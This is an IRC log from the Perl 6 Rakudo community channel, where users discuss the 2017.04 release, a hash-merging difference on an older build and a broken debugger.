NeuralAnomaly MasterDuke_, [✘] Next release is in the past. Since last release, there are 32 new still-open tickets (0 unreviewed and 0 blockers) and 1 unreviewed commits. See perl6.fail/release/stats for details
20:23 yqt joined 20:25 labster joined
El_Che I only see 2017.03 20:26
timotimo yeah, release is going to happen soon 20:27
El_Che ah ok. I wondered if I needed to create new packages
ambs who manages [email@hidden.address] need some help. 20:28
20:28 Zoffix joined
Zoffix "PART 3: Information on Changes Due to IO Grant Work": rakudo.org/2017/04/17/final-notes-o...rant-work/ 20:29
El_Che: release will be in the next hour or so
El_Che Zoffix: thx
depending on the local time here, I'll start the build today of tomorrow
Zoffix: this is the ZoffixIO release :) 20:30
20:33 zakharyas left
Zoffix El_Che: pretty much 20:34
20:34 Cabanossi left 20:35 MilkmanDan left
El_Che "Is he a here? Is he a villain? Stick around and install Rakudo 2017.04 to find out..." 20:36
s/here/hero/
20:36 Cabanossi joined
Zoffix Other highlights: a crap ton of Set/Bag/Mix optimizations, faster multi threading, faster case-insensitive regex (and internal string ops) 20:36
Actually the "Efficiency" changelog section is the largest this release: github.com/rakudo/rakudo/blob/nom/...#L118-L183 20:37
So very nice release.
20:39 TEttinger joined
timotimo i even contributed to it this time <3 20:39
El_Che huge list
moritz probably didn't
[Coke] probably didn't even get a doc commit in this month. :| 20:40
timotimo don't beat yourselves up about it :)
[Coke] in my defense, I've been very busy at dayjob. :) 20:41
timotimo oh
20:43 cpage_ left
Zoffix moritz: something wrong with logs on mobile; when zooming in, it now cuts off nicklist after reflowing the page; worked fine like 4days ago 20:44
moritz Zoffix: the only change in the last few days that affects the logs page is the word wrapping change 20:45
for the issue you reported :-)
so might be related 20:46
Zoffix ok, I'll see what's up with it
alphah m: my %h1 = <a 1 b 2>; my %h2 = <b 3 c 4>; %h1 ,= %h2 20:47
camelia ( no output )
alphah m: my %h1 = <a 1 b 2>; my %h2 = <b 3 c 4>; %h1 ,= %h2; say %h1 20:48
camelia {a => 1, b => 3, c => 4}
20:49 cpage_ joined
alphah slackwork$ repl 20:49
To exit type 'exit' or '^D'
> my %h1 = <a 1 b 2>; my %h2 = <b 3 c 4>; %h1 ,= %h2; say %h1
{b => 3, c => 4}
>
20:50 MilkmanDan joined
alphah I'm running this version of Rakudo, and merging hashes is not working: 2017.01-40-g4ef37cf9a built on MoarVM version 2017.01 20:51
Zoffix alphah: you're using an old version.
alphah aaaah, time to upgrade
Zoffix Also: you're using a random dev commit. 20:52
Better now power a nuclear plant with that program.
20:52 Zoffix left
alphah lol 20:53
20:53 SwoleGymBro- joined 20:57 greenspaceman joined
greenspaceman Hi! 20:57
I'm getting a weird error using perl6-debug-m (pastebin.com/J4sn9dEM). Is this the right place to ask for help and/or find out whether it is a debugger bug or an error of mine? 20:58
timotimo oh yeah, perl6-debug-m is unfortunately busted :( 20:59
21:00 cdg joined
greenspaceman Oh, well. I guess I'm half-glad it wasn't me! 21:01
Thanks timotimo!
21:01 cpage_ left
El_Che greenspaceman: it could still be you, but less likely :) 21:01
greenspaceman Yeah, but it's Bayesian-rational to assume it wasn't me. 21:02
21:03 MilkmanDan left
timotimo i don't understand how add_slang is supposed to work 21:05
21:05 cpage_ joined 21:06 cpage_ left 21:07 cpage_ joined
timotimo i can't find a declaration for that method in either rakudo or nqp 21:07
oh 21:08
define_slang, eh?
maybe the fix is trivial ... 21:09
21:11 skids left
timotimo hah, as if it would be. 21:11
21:16 bjz joined 21:17 mcmillhj left 21:19 Cabanossi left 21:20 NeuralAnomaly left, NeuralAnomaly joined, ChanServ sets mode: +v NeuralAnomaly 21:21 Cabanossi joined 21:24 NeuralAnomaly left 21:25 NeuralAnomaly joined, ChanServ sets mode: +v NeuralAnomaly, raschipi left 21:27 greenspaceman left 21:30 RabidGravy left 21:32 cpage_ left 21:37 cdg left 21:38 cdg joined 21:48 labster left 22:04 labster joined 22:08 espadrine left 22:10 guest12345 left 22:11 lizmat joined 22:12 sufrostico left 22:18 NeuralAnomaly left 22:19 gdonald left, gdonald joined, bjz left, NeuralAnomaly joined, ChanServ sets mode: +v NeuralAnomaly 22:23 sufrostico joined 22:34 Cabanossi left 22:36 Cabanossi joined 22:37 sufrostico left 22:40 sufrostico joined 22:41 cdg_ joined 22:43 cpage_ joined 22:45 cdg left, cdg_ left 22:46 cpage_ left, mcmillhj joined, vendethiel left 22:47 cpage_ joined 22:51 mcmillhj left, cpage_ left 23:02 MilkmanDan joined 23:09 r3m left 23:12 r3m joined 23:14 r3m left 23:26 r3m joined 23:29 skids joined 23:33 ChoHag left 23:35 ChoHag joined 23:37 yqt left 23:40 BenGoldberg joined 23:50 mcmillhj joined
lizmat and another Perl 6 Weekly hits the Net: p6weekly.wordpress.com/2017/04/17/...-the-road/ 23:51
23:51 AlexDaniel joined 23:54 mcmillhj left 23:58 gdonald left, gdonald joined